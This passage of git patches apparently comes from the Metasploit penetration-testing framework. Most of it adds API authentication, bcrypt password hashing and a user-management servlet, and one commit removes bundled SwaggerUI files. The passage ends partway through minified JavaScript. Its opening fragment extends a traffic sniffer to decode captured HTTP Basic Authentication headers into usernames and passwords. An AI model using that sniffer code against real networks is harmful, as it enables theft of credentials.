pkt.tcp_dport != 80) s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) self.sigs.each_key do |k| @@ -34,10 +36,16 @@ class SnifferURL < BaseProtocolParser case matched when :webhost sessions[s[:session]].merge!({k => matches}) - if(s[:get]) + if s[:get] print_status("HTTP GET: #{s[:session]} http://#{s[:webhost]}#{s[:get]}") - sessions.delete(s[:session]) - return + end + if s[:post] + print_status("HTTP POST: #{s[:session]} http://#{s[:webhost]}#{s[:post]}") + end + if s[:basic_auth] + s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2) + report_auth_info s + print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}" end when nil # No matches, no saved state @@ -45,4 +53,3 @@ class SnifferURL < BaseProtocolParser end # end of each_key end # end of parse end # end of URL sniffer - From 7524af35ec76faa943650e6adfd25f08f9d7c2a8 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 15 Jul 2018 15:38:56 +0000 Subject: [PATCH 180/217] Check if IPRANGE was supplied - Fix #10316 --- modules/auxiliary/gather/enum_dns.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index f5e9b65e49..7e52049264 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -138,6 +138,11 @@ class MetasploitModule < Msf::Auxiliary end def dns_reverse(cidr, threads) + unless cidr + print_error 'ENUM_RVL enabled, but no IPRANGE specified' + return + end + iplst = [] ipadd = Rex::Socket::RangeWalker.new(cidr) numip = ipadd.num_ips From 67721bc6161f55760a25e9a88d7bc45220f61c4e Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 16 Jul 2018 12:51:41 -0400 Subject: [PATCH 181/217] Refactor strategies to support admin token role --- .../http/authentication/strategies.rb | 6 ++- .../strategies/admin_api_token.rb | 21 ++++++++ .../authentication/strategies/api_token.rb | 52 +++++++++++++------ .../strategies/user_password.rb | 33 ++++++------ 4 files changed, 75 insertions(+), 37 deletions(-) create mode 100644 lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb diff --git a/lib/msf/core/db_manager/http/authentication/strategies.rb b/lib/msf/core/db_manager/http/authentication/strategies.rb index 9f9793bef9..4189938eb2 100644 --- a/lib/msf/core/db_manager/http/authentication/strategies.rb +++ b/lib/msf/core/db_manager/http/authentication/strategies.rb @@ -1,9 +1,11 @@ module Authentication module Strategies autoload :ApiToken, 'msf/core/db_manager/http/authentication/strategies/api_token' + autoload :AdminApiToken, 'msf/core/db_manager/http/authentication/strategies/admin_api_token' autoload :UserPassword, 'msf/core/db_manager/http/authentication/strategies/user_password' - include ApiToken - include UserPassword + Warden::Strategies.add(:api_token, Authentication::Strategies::ApiToken) + Warden::Strategies.add(:admin_api_token, Authentication::Strategies::AdminApiToken) + Warden::Strategies.add(:password, Authentication::Strategies::UserPassword) end end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb b/lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb new file mode 100644 index 0000000000..c6476bb995 --- /dev/null +++ b/lib/msf/core/db_manager/http/authentication/strategies/admin_api_token.rb @@ -0,0 +1,21 @@ +module Authentication + module Strategies + class AdminApiToken < ApiToken + + # Validates the user associated with the API token is an admin. + # + # @return [Boolean] True if the user is valid; otherwise, false. + def valid_user?(user) + super && user.admin + end + + # Gets the strategy failure message. + # + # @return [String] The strategy failure message. + def strategy_failure_message + "Invalid permissions." + end + + end + end +end diff --git a/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb index 27a16952a0..26b45531b2 100644 --- a/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb +++ b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb @@ -1,23 +1,26 @@ module Authentication module Strategies - module ApiToken + class ApiToken < Warden::Strategies::Base AUTHORIZATION = 'HTTP_AUTHORIZATION' AUTHORIZATION_SCHEME = 'Bearer' TOKEN_QUERY_PARAM = 'token' - Warden::Strategies.add(:api_token) do + # Check if request contains valid data and should be authenticated. + # @return [Boolean] true if strategy should be run for the request; otherwise, false. + def valid? + auth_initialized = request.env['AuthInitialized'] + authorization = request.env[AUTHORIZATION] + !auth_initialized || (authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)) || !params[TOKEN_QUERY_PARAM].nil? + end - # Check if request contains valid data and should be authenticated. - # @return [Boolean] true if strategy should be run for the request; otherwise, false. - def valid? - authorization = request.env[AUTHORIZATION] - (authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)) || !params[TOKEN_QUERY_PARAM].nil? - end - - # Authenticate the request. - def authenticate! - db_manager = env['DBManager'] - authorization = request.env[AUTHORIZATION] + # Authenticate the request. + def authenticate! + auth_initialized = request.env['AuthInitialized'] + db_manager = env['DBManager'] + authorization = request.env[AUTHORIZATION] + if !auth_initialized + success!({message: "Initialize authentication by creating an initial user account."}) + else if authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME) token = authorization.sub(/^#{AUTHORIZATION_SCHEME}\s+/, '') else @@ -26,13 +29,28 @@ module Authentication user = db_manager.users(persistence_token: token).first - if user.nil? - throw(:warden, message: "Invalid API token.") - else + if valid_user?(user) success!(user) + else + throw(:warden, message: strategy_failure_message) end end end + + # Validates the user associated with the API token. + # + # @return [Boolean] True if the user is valid; otherwise, false. + def valid_user?(user) + !user.nil? + end + + # Gets the strategy failure message. + # + # @return [String] The strategy failure message. + def strategy_failure_message + "Invalid API token." + end + end end -end \ No newline at end of file +end diff --git a/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb b/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb index 4da879cf83..042299931e 100644 --- a/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb +++ b/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb @@ -1,6 +1,6 @@ module Authentication module Strategies - module UserPassword + class UserPassword < Warden::Strategies::Base Warden::Manager.serialize_into_session{ |user| user.id } Warden::Manager.serialize_from_session{ |id| @@ -13,27 +13,24 @@ module Authentication env['REQUEST_METHOD'] = 'POST' end - Warden::Strategies.add(:password) do + # Check if request contains valid data and should be authenticated. + # @return [Boolean] true if strategy should be run for the request; otherwise, false. + def valid? + params['username'] && params['password'] + end - # Check if request contains valid data and should be authenticated. - # @return [Boolean] true if strategy should be run for the request; otherwise, false. - def valid? - params['username'] && params['password'] - end + # Authenticate the request. + def authenticate! + db_manager = env['DBManager'] + user = db_manager.users(username: params['username']).first - # Authenticate the request. - def authenticate! - db_manager = env['DBManager'] - user = db_manager.users(username: params['username']).first - - if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password']) - fail("Invalid username or password.") - else - success!(user) - end + if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password']) + fail("Invalid username or password.") + else + success!(user) end end end end -end \ No newline at end of file +end From 4680455041208fba971db5bae4560ceb8877dbb1 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 16 Jul 2018 12:55:00 -0400 Subject: [PATCH 182/217] Implement report_user and password hashing --- lib/msf/core/db_manager/user.rb | 75 +++++++++++++++++++++++++-------- 1 file changed, 58 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/db_manager/user.rb b/lib/msf/core/db_manager/user.rb index 4dd5da08ac..41acc3ef17 100644 --- a/lib/msf/core/db_manager/user.rb +++ b/lib/msf/core/db_manager/user.rb @@ -1,7 +1,10 @@ +require 'bcrypt' require 'sysrandom/securerandom' module Msf::DBManager::User + MIN_TOKEN_LENGTH = 20 + # Returns a list of all users in the database def users(opts) ::ActiveRecord::Base.connection_pool.with_connection { @@ -17,27 +20,60 @@ module Msf::DBManager::User end # - # Report a user's attributes + # Report a user's attributes. # - # The opts parameter MUST contain - # +:XXX+:: -- the users's XXX + # The opts parameter MUST contain: + # +:username+:: -- the username + # +:password+:: -- the users's cleartext password # # The opts parameter can contain: - # +:XXX+:: -- XXX + # +:fullname+:: -- the users's fullname + # +:email+:: -- the users's email + # +:phone+:: -- the users's phone + # +:email+:: -- the users's email + # +:company+:: -- the users's company + # +:prefs+:: -- [Hash] the users's preferences + # +:admin+:: -- [Boolean] True if the user is an admin; otherwise, false. # + # @return [Mdm::User] The reported Mdm::User object. def report_user(opts) - return if !active + return unless active + raise ArgumentError.new("Missing required option :username") if opts[:username].nil? + raise ArgumentError.new("Missing required option :password") if opts[:password].nil? - # TODO: implement method - raise 'Msf::DBManager::User#report_user is not implemented' + ::ActiveRecord::Base.connection_pool.with_connection { + + conditions = {username: opts[:username]} + user = Mdm::User.where(conditions).first_or_initialize + + opts.each do |k,v| + if user.attribute_names.include?(k.to_s) + user[k] = v + elsif !v.blank? + dlog("Unknown attribute for ::Mdm::User: #{k}") + end + end + + user.crypted_password = BCrypt::Password.create(opts[:password]) + user.admin = false if opts[:admin].nil? + + # Finalize + if user.changed? + msf_import_timestamps(opts, user) + user.save! + end + + user + } end + # Update the attributes of a user entry with the values in opts. + # The values in opts should match the attributes to update. + # + # @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update. + # @return [Mdm::User] The updated Mdm::User object. def update_user(opts) ::ActiveRecord::Base.connection_pool.with_connection { - # process workspace string for update if included in opts - wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false) - opts[:workspace] = wspace if wspace - id = opts.delete(:id) Mdm::User.update(id, opts) } @@ -70,29 +106,34 @@ module Msf::DBManager::User # # @param opts[:ids] [Integer] ID of the user to authenticate. # @param opts[:password] [String] The user's password. - # @return [Boolean] true if the user is successfully authenticated; otherwise, false. + # @return [Boolean] True if the user is successfully authenticated; otherwise, false. def authenticate_user(opts) raise ArgumentError.new("The following options are required: :id") if opts[:id].nil? raise ArgumentError.new("The following options are required: :password") if opts[:password].nil? user = Mdm::User.find(opts[:id]) - # TODO: Yes, we need proper password salting and hashing here - if !user.nil? && user.crypted_password == opts[:password] - true - else + begin + !user.nil? && BCrypt::Password.new(user.crypted_password) == opts[:password] + rescue BCrypt::Errors::InvalidHash false end end # Creates a new API token for the user. # + # The opts parameter MUST contain: # @param opts[:ids] [Integer] ID for the user. + # + # The opts parameter can contain: + # @param opts[:token_length] [Integer] Token length. + # # @return [String] The new API token. def create_new_user_token(opts) raise ArgumentError.new("The following options are required: :id") if opts[:id].nil? - token_length = opts[:token_length] || 20 + token_length = opts[:token_length] || MIN_TOKEN_LENGTH # NOTE: repurposing persistence_token in the database as the API token Mdm::User.update(opts[:id], {persistence_token: SecureRandom.hex(token_length)}).persistence_token end + end From f7a4c577d613c7f369cb2b6579469cef72b0d90a Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 16 Jul 2018 12:56:43 -0400 Subject: [PATCH 183/217] Add UserServlet and admin_api scope --- .../db_manager/http/metasploit_api_app.rb | 11 +++ .../db_manager/http/servlet/user_servlet.rb | 78 +++++++++++++++++++ 2 files changed, 89 insertions(+) create mode 100644 lib/msf/core/db_manager/http/servlet/user_servlet.rb diff --git a/lib/msf/core/db_manager/http/metasploit_api_app.rb b/lib/msf/core/db_manager/http/metasploit_api_app.rb index 5a7aa67d42..bc914e4f38 100644 --- a/lib/msf/core/db_manager/http/metasploit_api_app.rb +++ b/lib/msf/core/db_manager/http/metasploit_api_app.rb @@ -22,6 +22,7 @@ require 'msf/core/db_manager/http/servlet/credential_servlet' require 'msf/core/db_manager/http/servlet/nmap_servlet' require 'msf/core/db_manager/http/servlet/db_export_servlet' require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet' +require 'msf/core/db_manager/http/servlet/user_servlet' class MetasploitApiApp < Sinatra::Base helpers ServletHelper @@ -45,6 +46,7 @@ class MetasploitApiApp < Sinatra::Base register NmapServlet register DbExportServlet register VulnAttemptServlet + register UserServlet configure do set :sessions, {key: 'msf-ws.session', expire_after: 300} @@ -54,6 +56,7 @@ class MetasploitApiApp < Sinatra::Base before do # store DBManager in request environment so that it is available to Warden request.env['DBManager'] = get_db + request.env['AuthInitialized'] ||= get_db.users({}).count > 0 end use Warden::Manager do |config| @@ -78,6 +81,14 @@ class MetasploitApiApp < Sinatra::Base strategies: [:api_token], # action (route) of the failure application action: AuthServlet.api_unauthenticated_path + + config.scope_defaults :admin_api, + # whether to persist the result in the session or not + store: false, + # list of strategies to use + strategies: [:admin_api_token], + # action (route) of the failure application + action: AuthServlet.api_unauthenticated_path end end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/servlet/user_servlet.rb b/lib/msf/core/db_manager/http/servlet/user_servlet.rb new file mode 100644 index 0000000000..7cc35430b4 --- /dev/null +++ b/lib/msf/core/db_manager/http/servlet/user_servlet.rb @@ -0,0 +1,78 @@ +module UserServlet + + def self.api_path + '/api/v1/user' + end + + def self.api_path_with_id + "#{UserServlet.api_path}/?:id?" + end + + def self.registered(app) + app.get UserServlet.api_path_with_id, &get_user + app.post UserServlet.api_path, &report_user + app.put UserServlet.api_path_with_id, &update_user + app.delete UserServlet.api_path, &delete_user + end + + ####### + private + ####### + + def self.get_user + lambda { + warden.authenticate!(scope: :admin_api) + begin + opts = parse_json_request(request, false) + sanitized_params = sanitize_params(params) + data = get_db.users(sanitized_params) + set_json_response(data) + rescue => e + set_error_on_response(e) + end + } + end + + def self.report_user + lambda { + warden.authenticate!(scope: :admin_api) + begin + job = lambda { |opts| + get_db.report_user(opts) + } + exec_report_job(request, &job) + rescue => e + set_error_on_response(e) + end + } + end + + def self.update_user + lambda { + warden.authenticate!(scope: :admin_api) + begin + opts = parse_json_request(request, false) + tmp_params = sanitize_params(params) + opts[:id] = tmp_params[:id] if tmp_params[:id] + data = get_db.update_user(opts) + set_json_response(data) + rescue => e + set_error_on_response(e) + end + } + end + + def self.delete_user + lambda { + warden.authenticate!(scope: :admin_api) + begin + opts = parse_json_request(request, false) + data = get_db.delete_user(opts) + set_json_response(data) + rescue => e + set_error_on_response(e) + end + } + end + +end \ No newline at end of file From 70104ab25e1087d928ddcbaa52ed85395547194f Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 16 Jul 2018 15:04:05 -0400 Subject: [PATCH 184/217] Rename request env variables to conform with Rack --- .../db_manager/http/authentication/strategies/api_token.rb | 6 +++--- .../http/authentication/strategies/user_password.rb | 4 ++-- lib/msf/core/db_manager/http/metasploit_api_app.rb | 5 +++-- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb index 26b45531b2..d5d94901a2 100644 --- a/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb +++ b/lib/msf/core/db_manager/http/authentication/strategies/api_token.rb @@ -8,15 +8,15 @@ module Authentication # Check if request contains valid data and should be authenticated. # @return [Boolean] true if strategy should be run for the request; otherwise, false. def valid? - auth_initialized = request.env['AuthInitialized'] + auth_initialized = request.env['msf.auth_initialized'] authorization = request.env[AUTHORIZATION] !auth_initialized || (authorization.is_a?(String) && authorization.start_with?(AUTHORIZATION_SCHEME)) || !params[TOKEN_QUERY_PARAM].nil? end # Authenticate the request. def authenticate! - auth_initialized = request.env['AuthInitialized'] - db_manager = env['DBManager'] + auth_initialized = request.env['msf.auth_initialized'] + db_manager = env['msf.db_manager'] authorization = request.env[AUTHORIZATION] if !auth_initialized success!({message: "Initialize authentication by creating an initial user account."}) diff --git a/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb b/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb index 042299931e..087c465c60 100644 --- a/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb +++ b/lib/msf/core/db_manager/http/authentication/strategies/user_password.rb @@ -4,7 +4,7 @@ module Authentication Warden::Manager.serialize_into_session{ |user| user.id } Warden::Manager.serialize_from_session{ |id| - db_manager = env['DBManager'] + db_manager = env['msf.db_manager'] db_manager.users(id: id).first } @@ -21,7 +21,7 @@ module Authentication # Authenticate the request. def authenticate! - db_manager = env['DBManager'] + db_manager = env['msf.db_manager'] user = db_manager.users(username: params['username']).first if user.nil? || !db_manager.authenticate_user(id: user.id, password: params['password']) diff --git a/lib/msf/core/db_manager/http/metasploit_api_app.rb b/lib/msf/core/db_manager/http/metasploit_api_app.rb index bc914e4f38..2e913c6c21 100644 --- a/lib/msf/core/db_manager/http/metasploit_api_app.rb +++ b/lib/msf/core/db_manager/http/metasploit_api_app.rb @@ -55,8 +55,9 @@ class MetasploitApiApp < Sinatra::Base before do # store DBManager in request environment so that it is available to Warden - request.env['DBManager'] = get_db - request.env['AuthInitialized'] ||= get_db.users({}).count > 0 + request.env['msf.db_manager'] = get_db + # store flag indicating whether authentication is initialized in the request environment + request.env['msf.auth_initialized'] ||= get_db.users({}).count > 0 end use Warden::Manager do |config| From d5814ae9f6c61edb783a1c372cac4ab1a5f221e4 Mon Sep 17 00:00:00 2001 From: James Barnett Date: Mon, 16 Jul 2018 15:16:27 -0500 Subject: [PATCH 185/217] Use the unpkg hosted versions of SwaggerUI --- .../core/db_manager/http/public/index.html | 61 ------------ .../http/public/swagger-ui-bundle.js | 93 ------------------- .../http/public/swagger-ui-bundle.js.map | 1 - .../public/swagger-ui-standalone-preset.js | 13 --- .../swagger-ui-standalone-preset.js.map | 1 - .../core/db_manager/http/public/swagger-ui.js | 8 -- .../db_manager/http/public/swagger-ui.js.map | 1 - .../core/db_manager/http/views/api_docs.erb | 6 +- 8 files changed, 3 insertions(+), 181 deletions(-) delete mode 100644 lib/msf/core/db_manager/http/public/index.html delete mode 100644 lib/msf/core/db_manager/http/public/swagger-ui-bundle.js delete mode 100644 lib/msf/core/db_manager/http/public/swagger-ui-bundle.js.map delete mode 100644 lib/msf/core/db_manager/http/public/swagger-ui-standalone-preset.js delete mode 100644 lib/msf/core/db_manager/http/public/swagger-ui-standalone-preset.js.map delete mode 100644 lib/msf/core/db_manager/http/public/swagger-ui.js delete mode 100644 lib/msf/core/db_manager/http/public/swagger-ui.js.map diff --git a/lib/msf/core/db_manager/http/public/index.html b/lib/msf/core/db_manager/http/public/index.html deleted file mode 100644 index 7f63bc2b8a..0000000000 --- a/lib/msf/core/db_manager/http/public/index.html +++ /dev/null @@ -1,61 +0,0 @@ - - - - - - Metasploit API Documentation - - - - - - - - -
- - - - - - diff --git a/lib/msf/core/db_manager/http/public/swagger-ui-bundle.js b/lib/msf/core/db_manager/http/public/swagger-ui-bundle.js deleted file mode 100644 index 977c1e12ca..0000000000 --- a/lib/msf/core/db_manager/http/public/swagger-ui-bundle.js +++ /dev/null @@ -1,93 +0,0 @@ -!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.SwaggerUIBundle=t():e.SwaggerUIBundle=t()}(this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}var n={};return t.m=e,t.c=n,t.i=function(e){return e},t.d=function(e,n,r){t.o(e,n)||Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="/dist",t(t.s=1233)}([function(e,t,n){"use strict";e.exports=n(92)},function(e,t,n){e.exports=n(1014)()},function(e,t,n){"use strict";t.__esModule=!0,t.default=function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}},function(e,t,n){"use strict";t.__esModule=!0;var r=n(340),i=function(e){return e&&e.__esModule?e:{default:e}}(r);t.default=function(){function e(e,t){for(var n=0;n>>0;if(""+n!==t||4294967295===n)return NaN;t=n}return t<0?d(e)+t:t}function v(){return!0}function g(e,t,n){return(0===e||void 0!==n&&e<=-n)&&(void 0===t||void 0!==n&&t>=n)}function y(e,t){return b(e,t,0)}function _(e,t){return b(e,t,t)}function b(e,t,n){return void 0===e?n:e<0?Math.max(0,t+e):void 0===t?e:Math.min(t,e)}function x(e){this.next=e}function w(e,t,n,r){var i=0===e?t:1===e?n:[t,n];return r?r.value=i:r={value:i,done:!1},r}function k(){return{value:void 0,done:!0}}function E(e){return!!A(e)}function S(e){return e&&"function"==typeof e.next}function C(e){var t=A(e);return t&&t.call(e)}function A(e){var t=e&&(wn&&e[wn]||e[kn]);if("function"==typeof t)return t}function D(e){return e&&"number"==typeof e.length}function O(e){return null===e||void 0===e?B():o(e)?e.toSeq():z(e)}function M(e){return null===e||void 0===e?B().toKeyedSeq():o(e)?a(e)?e.toSeq():e.fromEntrySeq():L(e)}function T(e){return null===e||void 0===e?B():o(e)?a(e)?e.entrySeq():e.toIndexedSeq():q(e)}function P(e){return(null===e||void 0===e?B():o(e)?a(e)?e.entrySeq():e:q(e)).toSetSeq()}function I(e){this._array=e,this.size=e.length}function R(e){var t=Object.keys(e);this._object=e,this._keys=t,this.size=t.length}function j(e){this._iterable=e,this.size=e.length||e.size}function N(e){this._iterator=e,this._iteratorCache=[]}function F(e){return!(!e||!e[Sn])}function B(){return Cn||(Cn=new I([]))}function L(e){var t=Array.isArray(e)?new I(e).fromEntrySeq():S(e)?new N(e).fromEntrySeq():E(e)?new j(e).fromEntrySeq():"object"==typeof e?new R(e):void 0;if(!t)throw new TypeError("Expected Array or iterable object of [k, v] entries, or keyed object: "+e);return t}function q(e){var t=U(e);if(!t)throw new TypeError("Expected Array or iterable object of values: "+e);return t}function z(e){var t=U(e)||"object"==typeof e&&new R(e);if(!t)throw new TypeError("Expected Array or iterable object of values, or keyed object: "+e);return t}function U(e){return D(e)?new I(e):S(e)?new N(e):E(e)?new j(e):void 0}function W(e,t,n,r){var i=e._cache;if(i){for(var o=i.length-1,a=0;a<=o;a++){var s=i[n?o-a:a];if(!1===t(s[1],r?s[0]:a,e))return a+1}return a}return e.__iterateUncached(t,n)}function V(e,t,n,r){var i=e._cache;if(i){var o=i.length-1,a=0;return new x(function(){var e=i[n?o-a:a];return a++>o?k():w(t,r?e[0]:a-1,e[1])})}return e.__iteratorUncached(t,n)}function H(e,t){return t?J(t,e,"",{"":e}):G(e)}function J(e,t,n,r){return Array.isArray(t)?e.call(r,n,T(t).map(function(n,r){return J(e,n,r,t)})):Y(t)?e.call(r,n,M(t).map(function(n,r){return J(e,n,r,t)})):t}function G(e){return Array.isArray(e)?T(e).map(G).toList():Y(e)?M(e).map(G).toMap():e}function Y(e){return e&&(e.constructor===Object||void 0===e.constructor)}function K(e,t){if(e===t||e!==e&&t!==t)return!0;if(!e||!t)return!1;if("function"==typeof e.valueOf&&"function"==typeof t.valueOf){if(e=e.valueOf(),t=t.valueOf(),e===t||e!==e&&t!==t)return!0;if(!e||!t)return!1}return!("function"!=typeof e.equals||"function"!=typeof t.equals||!e.equals(t))}function X(e,t){if(e===t)return!0;if(!o(t)||void 0!==e.size&&void 0!==t.size&&e.size!==t.size||void 0!==e.__hash&&void 0!==t.__hash&&e.__hash!==t.__hash||a(e)!==a(t)||s(e)!==s(t)||l(e)!==l(t))return!1;if(0===e.size&&0===t.size)return!0;var n=!u(e);if(l(e)){var r=e.entries();return t.every(function(e,t){var i=r.next().value;return i&&K(i[1],e)&&(n||K(i[0],t))})&&r.next().done}var i=!1;if(void 0===e.size)if(void 0===t.size)"function"==typeof e.cacheResult&&e.cacheResult();else{i=!0;var c=e;e=t,t=c}var p=!0,f=t.__iterate(function(t,r){if(n?!e.has(t):i?!K(t,e.get(r,vn)):!K(e.get(r,vn),t))return p=!1,!1});return p&&e.size===f}function $(e,t){if(!(this instanceof $))return new $(e,t);if(this._value=e,this.size=void 0===t?1/0:Math.max(0,t),0===this.size){if(An)return An;An=this}}function Z(e,t){if(!e)throw new Error(t)}function Q(e,t,n){if(!(this instanceof Q))return new Q(e,t,n);if(Z(0!==n,"Cannot step a Range by 0"),e=e||0,void 0===t&&(t=1/0),n=void 0===n?1:Math.abs(n),t>>1&1073741824|3221225471&e}function oe(e){if(!1===e||null===e||void 0===e)return 0;if("function"==typeof e.valueOf&&(!1===(e=e.valueOf())||null===e||void 0===e))return 0;if(!0===e)return 1;var t=typeof e;if("number"===t){if(e!==e||e===1/0)return 0;var n=0|e;for(n!==e&&(n^=4294967295*e);e>4294967295;)e/=4294967295,n^=e;return ie(n)}if("string"===t)return e.length>Nn?ae(e):se(e);if("function"==typeof e.hashCode)return e.hashCode();if("object"===t)return ue(e);if("function"==typeof e.toString)return se(e.toString());throw new Error("Value type "+t+" cannot be hashed.")}function ae(e){var t=Ln[e];return void 0===t&&(t=se(e),Bn===Fn&&(Bn=0,Ln={}),Bn++,Ln[e]=t),t}function se(e){for(var t=0,n=0;n0)switch(e.nodeType){case 1:return e.uniqueID;case 9:return e.documentElement&&e.documentElement.uniqueID}}function ce(e){Z(e!==1/0,"Cannot perform this action with an infinite size.")}function pe(e){return null===e||void 0===e?we():fe(e)&&!l(e)?e:we().withMutations(function(t){var r=n(e);ce(r.size),r.forEach(function(e,n){return t.set(n,e)})})}function fe(e){return!(!e||!e[qn])}function he(e,t){this.ownerID=e,this.entries=t}function de(e,t,n){this.ownerID=e,this.bitmap=t,this.nodes=n}function me(e,t,n){this.ownerID=e,this.count=t,this.nodes=n}function ve(e,t,n){this.ownerID=e,this.keyHash=t,this.entries=n}function ge(e,t,n){this.ownerID=e,this.keyHash=t,this.entry=n}function ye(e,t,n){this._type=t,this._reverse=n,this._stack=e._root&&be(e._root)}function _e(e,t){return w(e,t[0],t[1])}function be(e,t){return{node:e,index:0,__prev:t}}function xe(e,t,n,r){var i=Object.create(zn);return i.size=e,i._root=t,i.__ownerID=n,i.__hash=r,i.__altered=!1,i}function we(){return Un||(Un=xe(0))}function ke(e,t,n){var r,i;if(e._root){var o=c(gn),a=c(yn);if(r=Ee(e._root,e.__ownerID,0,void 0,t,n,o,a),!a.value)return e;i=e.size+(o.value?n===vn?-1:1:0)}else{if(n===vn)return e;i=1,r=new he(e.__ownerID,[[t,n]])}return e.__ownerID?(e.size=i,e._root=r,e.__hash=void 0,e.__altered=!0,e):r?xe(i,r):we()}function Ee(e,t,n,r,i,o,a,s){return e?e.update(t,n,r,i,o,a,s):o===vn?e:(p(s),p(a),new ge(t,r,[i,o]))}function Se(e){return e.constructor===ge||e.constructor===ve}function Ce(e,t,n,r,i){if(e.keyHash===r)return new ve(t,r,[e.entry,i]);var o,a=(0===n?e.keyHash:e.keyHash>>>n)&mn,s=(0===n?r:r>>>n)&mn;return new de(t,1<>>=1)a[s]=1&n?t[o++]:void 0;return a[r]=i,new me(e,o+1,a)}function Me(e,t,r){for(var i=[],a=0;a>1&1431655765,e=(858993459&e)+(e>>2&858993459),e=e+(e>>4)&252645135,e+=e>>8,127&(e+=e>>16)}function Ne(e,t,n,r){var i=r?e:h(e);return i[t]=n,i}function Fe(e,t,n,r){var i=e.length+1;if(r&&t+1===i)return e[t]=n,e;for(var o=new Array(i),a=0,s=0;s0&&io?0:o-n,l=a-n;return l>dn&&(l=dn),function(){if(i===l)return Kn;var e=t?--l:i++;return r&&r[e]}}function i(e,r,i){var s,u=e&&e.array,l=i>o?0:o-i>>r,c=1+(a-i>>r);return c>dn&&(c=dn),function(){for(;;){if(s){var e=s();if(e!==Kn)return e;s=null}if(l===c)return Kn;var o=t?--c:l++;s=n(u&&u[o],r-hn,i+(o<=e.size||t<0)return e.withMutations(function(e){t<0?Ke(e,t).set(0,n):Ke(e,0,t+1).set(t,n)});t+=e._origin;var r=e._tail,i=e._root,o=c(yn);return t>=$e(e._capacity)?r=Je(r,e.__ownerID,0,t,n,o):i=Je(i,e.__ownerID,e._level,t,n,o),o.value?e.__ownerID?(e._root=i,e._tail=r,e.__hash=void 0,e.__altered=!0,e):We(e._origin,e._capacity,e._level,i,r):e}function Je(e,t,n,r,i,o){var a=r>>>n&mn,s=e&&a0){var l=e&&e.array[a],c=Je(l,t,n-hn,r,i,o);return c===l?e:(u=Ge(e,t),u.array[a]=c,u)}return s&&e.array[a]===i?e:(p(o),u=Ge(e,t),void 0===i&&a===u.array.length-1?u.array.pop():u.array[a]=i,u)}function Ge(e,t){return t&&e&&t===e.ownerID?e:new ze(e?e.array.slice():[],t)}function Ye(e,t){if(t>=$e(e._capacity))return e._tail;if(t<1<0;)n=n.array[t>>>r&mn],r-=hn;return n}}function Ke(e,t,n){void 0!==t&&(t|=0),void 0!==n&&(n|=0);var r=e.__ownerID||new f,i=e._origin,o=e._capacity,a=i+t,s=void 0===n?o:n<0?o+n:i+n;if(a===i&&s===o)return e;if(a>=s)return e.clear();for(var u=e._level,l=e._root,c=0;a+c<0;)l=new ze(l&&l.array.length?[void 0,l]:[],r),u+=hn,c+=1<=1<p?new ze([],r):d;if(d&&h>p&&ahn;g-=hn){var y=p>>>g&mn;v=v.array[y]=Ge(v.array[y],r)}v.array[p>>>hn&mn]=d}if(s=h)a-=h,s-=h,u=hn,l=null,m=m&&m.removeBefore(r,0,a);else if(a>i||h>>u&mn;if(_!==h>>>u&mn)break;_&&(c+=(1<i&&(l=l.removeBefore(r,u,a-c)),l&&ha&&(a=l.size),o(u)||(l=l.map(function(e){return H(e)})),i.push(l)}return a>e.size&&(e=e.setSize(a)),Ie(e,t,i)}function $e(e){return e>>hn<=dn&&a.size>=2*o.size?(i=a.filter(function(e,t){return void 0!==e&&s!==t}),r=i.toKeyedSeq().map(function(e){return e[0]}).flip().toMap(),e.__ownerID&&(r.__ownerID=i.__ownerID=e.__ownerID)):(r=o.remove(t),i=s===a.size-1?a.pop():a.set(s,void 0))}else 